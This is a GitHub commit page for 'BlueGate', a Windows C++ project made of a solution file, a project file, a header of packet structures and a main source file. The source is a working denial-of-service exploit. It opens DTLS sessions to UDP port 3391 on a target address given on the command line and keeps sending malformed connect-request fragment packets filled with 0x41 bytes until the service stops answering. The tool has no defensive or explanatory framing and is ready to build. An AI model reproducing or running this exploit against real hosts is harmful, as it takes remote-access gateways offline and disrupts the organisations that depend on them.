Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
ollypwn
committed
Jan 23, 2020
0 parents
commit 62416fc
Showing
8 changed files
with
440 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.29201.188 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueGate", "BlueGate\BlueGate.vcxproj", "{9178613D-52C7-4876-BBAD-F93C3784D79C}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|x64 = Debug|x64 | ||
Debug|x86 = Debug|x86 | ||
Release|x64 = Release|x64 | ||
Release|x86 = Release|x86 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.ActiveCfg = Debug|x64 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.Build.0 = Debug|x64 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.ActiveCfg = Debug|Win32 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.Build.0 = Debug|Win32 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.ActiveCfg = Release|x64 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.Build.0 = Release|x64 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.ActiveCfg = Release|Win32 | ||
{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.Build.0 = Release|Win32 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {D97BA022-3382-44A0-BD63-569535F8193A} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,128 @@ | ||
#include "BlueGate.h" | ||
|
||
void error(const char* msg) | ||
{ | ||
printf("ERROR: %s\n", msg); | ||
exit(EXIT_FAILURE); | ||
} | ||
|
||
void SOCKInit() | ||
{ | ||
WSADATA wsaData; | ||
int res; | ||
|
||
res = WSAStartup(MAKEWORD(2, 2), &wsaData); | ||
|
||
if (res != 0) | ||
error("WSAStartup failed"); | ||
} | ||
|
||
void DTLSInit() | ||
{ | ||
SSL_library_init(); | ||
SSL_load_error_strings(); | ||
ERR_load_BIO_strings(); | ||
OpenSSL_add_all_algorithms(); | ||
} | ||
|
||
int OpenUDPConnection(const char* hostname, int port) | ||
{ | ||
int sockfd; | ||
sockaddr_in addr; | ||
|
||
sockfd = socket(AF_INET, SOCK_DGRAM, 0); | ||
|
||
if (sockfd < 0) | ||
error("Failed to open socket"); | ||
|
||
addr.sin_family = AF_INET; | ||
addr.sin_port = htons(port); | ||
|
||
inet_pton(AF_INET, hostname, &(addr.sin_addr)); | ||
|
||
if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) | ||
{ | ||
closesocket(sockfd); | ||
error("Failed to connect socket"); | ||
} | ||
|
||
return sockfd; | ||
} | ||
|
||
SSL* DTLSConnection(const char* hostname) | ||
{ | ||
int sockfd; | ||
int result; | ||
DTLSParams client; | ||
|
||
sockfd = OpenUDPConnection(hostname, 3391); | ||
|
||
client.ctx = SSL_CTX_new(DTLS_client_method()); | ||
client.bio = BIO_new_ssl_connect(client.ctx); | ||
|
||
BIO_set_conn_hostname(client.bio, hostname); | ||
BIO_get_ssl(client.bio, &(client.ssl)); | ||
|
||
SSL_set_connect_state(client.ssl); | ||
SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); | ||
|
||
SSL_set_fd(client.ssl, sockfd); | ||
|
||
if (SSL_connect(client.ssl) != 1) { | ||
return NULL; | ||
} | ||
|
||
return client.ssl; | ||
} | ||
|
||
int send_dos_packet(SSL* ssl, int id) { | ||
CONNECT_PKT_FRAGMENT packet; | ||
|
||
packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; | ||
packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); | ||
packet.usFragmentID = id; | ||
packet.usNoOfFragments = id; | ||
packet.cbFragmentLength = 1000; | ||
memset(packet.fragment, 0x41, 1000); | ||
|
||
char pkt[sizeof(packet)]; | ||
memcpy(&pkt, &packet, sizeof(packet)); | ||
|
||
return SSL_write(ssl, pkt, sizeof(pkt)); | ||
} | ||
|
||
int main(int argc, char* argv[]) | ||
{ | ||
|
||
SSL* ssl; | ||
int i = 0; | ||
char* hostname; | ||
|
||
if (argc != 2) { | ||
printf("Usage: %s <IP address>\n", argv[0]); | ||
return 0; | ||
} | ||
|
||
hostname = argv[1]; | ||
|
||
SOCKInit(); | ||
DTLSInit(); | ||
|
||
while (i++ > -1) { | ||
ssl = DTLSConnection(hostname); | ||
|
||
if (ssl == NULL) { | ||
break; | ||
} | ||
|
||
for (int n = 0; n < 4; n++) { | ||
send_dos_packet(ssl, i+n); | ||
printf("Sending packet [%u]\n", i + n); | ||
} | ||
|
||
i++; | ||
} | ||
|
||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
#include <iostream> | ||
#include <WS2tcpip.h> | ||
|
||
#include <openssl/ssl.h> | ||
|
||
#define PKT_TYPE_CONNECT_REQ 1 | ||
#define PKT_TYPE_CONNECT_RESP 2 | ||
#define PKT_TYPE_PAYLOAD 3 | ||
#define PKT_TYPE_DISCONNECT 4 | ||
#define PKT_TYPE_CONNECT_REQ_FRAGMENT 5 | ||
|
||
struct DTLSParams { | ||
SSL_CTX* ctx; | ||
SSL* ssl; | ||
BIO* bio; | ||
}; | ||
|
||
struct UDP_PACKET_HEADER { | ||
USHORT pktID; | ||
USHORT pktLen; | ||
}; | ||
|
||
struct AASYNDATA { | ||
USHORT uUpStreamMtu; | ||
USHORT uDownStreamMtu; | ||
DWORD fLossy; | ||
DWORD snSendISN; | ||
}; | ||
|
||
struct AASYNDATARESP { | ||
USHORT uUpStreamMtu; | ||
USHORT uDownStreamMtu; | ||
DWORD snRecvISN; | ||
}; | ||
|
||
struct CONNECT_PKT { | ||
UDP_PACKET_HEADER hdr; | ||
USHORT usPortNumber; | ||
USHORT cbAuthnCookieLen; | ||
AASYNDATA SynData; | ||
}; | ||
|
||
struct CONNECT_PKT_RESP { | ||
UDP_PACKET_HEADER hdr; | ||
AASYNDATARESP SynResponse; | ||
DWORD64 result; | ||
}; | ||
|
||
struct CONNECT_PKT_FRAGMENT { | ||
UDP_PACKET_HEADER hdr; // 4 bytes | ||
USHORT usFragmentID; // 2 bytes | ||
USHORT usNoOfFragments; // 2 bytes | ||
USHORT cbFragmentLength; // 2 bytes | ||
BYTE fragment[1000]; // 250 bytes | ||
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,168 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<ItemGroup Label="ProjectConfigurations"> | ||
<ProjectConfiguration Include="Debug|Win32"> | ||
<Configuration>Debug</Configuration> | ||
<Platform>Win32</Platform> | ||
</ProjectConfiguration> | ||
<ProjectConfiguration Include="Release|Win32"> | ||
<Configuration>Release</Configuration> | ||
<Platform>Win32</Platform> | ||
</ProjectConfiguration> | ||
<ProjectConfiguration Include="Debug|x64"> | ||
<Configuration>Debug</Configuration> | ||
<Platform>x64</Platform> | ||
</ProjectConfiguration> | ||
<ProjectConfiguration Include="Release|x64"> | ||
<Configuration>Release</Configuration> | ||
<Platform>x64</Platform> | ||
</ProjectConfiguration> | ||
</ItemGroup> | ||
<PropertyGroup Label="Globals"> | ||
<VCProjectVersion>16.0</VCProjectVersion> | ||
<ProjectGuid>{9178613D-52C7-4876-BBAD-F93C3784D79C}</ProjectGuid> | ||
<Keyword>Win32Proj</Keyword> | ||
<RootNamespace>BlueGate</RootNamespace> | ||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion> | ||
</PropertyGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> | ||
<ConfigurationType>Application</ConfigurationType> | ||
<UseDebugLibraries>true</UseDebugLibraries> | ||
<PlatformToolset>v142</PlatformToolset> | ||
<CharacterSet>Unicode</CharacterSet> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> | ||
<ConfigurationType>Application</ConfigurationType> | ||
<UseDebugLibraries>false</UseDebugLibraries> | ||
<PlatformToolset>v142</PlatformToolset> | ||
<WholeProgramOptimization>true</WholeProgramOptimization> | ||
<CharacterSet>Unicode</CharacterSet> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> | ||
<ConfigurationType>Application</ConfigurationType> | ||
<UseDebugLibraries>true</UseDebugLibraries> | ||
<PlatformToolset>v142</PlatformToolset> | ||
<CharacterSet>Unicode</CharacterSet> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> | ||
<ConfigurationType>Application</ConfigurationType> | ||
<UseDebugLibraries>false</UseDebugLibraries> | ||
<PlatformToolset>v142</PlatformToolset> | ||
<WholeProgramOptimization>true</WholeProgramOptimization> | ||
<CharacterSet>Unicode</CharacterSet> | ||
</PropertyGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> | ||
<ImportGroup Label="ExtensionSettings"> | ||
</ImportGroup> | ||
<ImportGroup Label="Shared"> | ||
</ImportGroup> | ||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
</ImportGroup> | ||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
</ImportGroup> | ||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
</ImportGroup> | ||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
</ImportGroup> | ||
<PropertyGroup Label="UserMacros" /> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
<LinkIncremental>true</LinkIncremental> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
<LinkIncremental>true</LinkIncremental> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<LinkIncremental>false</LinkIncremental> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
<LinkIncremental>false</LinkIncremental> | ||
</PropertyGroup> | ||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
<ClCompile> | ||
<PrecompiledHeader> | ||
</PrecompiledHeader> | ||
<WarningLevel>Level3</WarningLevel> | ||
<Optimization>Disabled</Optimization> | ||
<SDLCheck>true</SDLCheck> | ||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
<ConformanceMode>true</ConformanceMode> | ||
</ClCompile> | ||
<Link> | ||
<SubSystem>Console</SubSystem> | ||
<GenerateDebugInformation>true</GenerateDebugInformation> | ||
</Link> | ||
</ItemDefinitionGroup> | ||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
<ClCompile> | ||
<PrecompiledHeader> | ||
</PrecompiledHeader> | ||
<WarningLevel>Level3</WarningLevel> | ||
<Optimization>Disabled</Optimization> | ||
<SDLCheck>true</SDLCheck> | ||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
<ConformanceMode>true</ConformanceMode> | ||
<AdditionalIncludeDirectories>C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> | ||
</ClCompile> | ||
<Link> | ||
<SubSystem>Console</SubSystem> | ||
<GenerateDebugInformation>true</GenerateDebugInformation> | ||
<AdditionalLibraryDirectories>C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> | ||
<AdditionalDependencies>kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies> | ||
</Link> | ||
</ItemDefinitionGroup> | ||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
<ClCompile> | ||
<PrecompiledHeader> | ||
</PrecompiledHeader> | ||
<WarningLevel>Level3</WarningLevel> | ||
<Optimization>MaxSpeed</Optimization> | ||
<FunctionLevelLinking>true</FunctionLevelLinking> | ||
<IntrinsicFunctions>true</IntrinsicFunctions> | ||
<SDLCheck>true</SDLCheck> | ||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
<ConformanceMode>true</ConformanceMode> | ||
</ClCompile> | ||
<Link> | ||
<SubSystem>Console</SubSystem> | ||
<EnableCOMDATFolding>true</EnableCOMDATFolding> | ||
<OptimizeReferences>true</OptimizeReferences> | ||
<GenerateDebugInformation>true</GenerateDebugInformation> | ||
</Link> | ||
</ItemDefinitionGroup> | ||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
<ClCompile> | ||
<PrecompiledHeader> | ||
</PrecompiledHeader> | ||
<WarningLevel>Level3</WarningLevel> | ||
<Optimization>MaxSpeed</Optimization> | ||
<FunctionLevelLinking>true</FunctionLevelLinking> | ||
<IntrinsicFunctions>true</IntrinsicFunctions> | ||
<SDLCheck>true</SDLCheck> | ||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
<ConformanceMode>true</ConformanceMode> | ||
<AdditionalIncludeDirectories>C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> | ||
</ClCompile> | ||
<Link> | ||
<SubSystem>Console</SubSystem> | ||
<EnableCOMDATFolding>true</EnableCOMDATFolding> | ||
<OptimizeReferences>true</OptimizeReferences> | ||
<GenerateDebugInformation>true</GenerateDebugInformation> | ||
<AdditionalLibraryDirectories>C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories> | ||
<AdditionalDependencies>kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies> | ||
</Link> | ||
</ItemDefinitionGroup> | ||
<ItemGroup> | ||
<ClCompile Include="BlueGate.cpp" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<ClInclude Include="BlueGate.h" /> | ||
</ItemGroup> | ||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> | ||
<ImportGroup Label="ExtensionTargets"> | ||
</ImportGroup> | ||
</Project> |
Oops, something went wrong.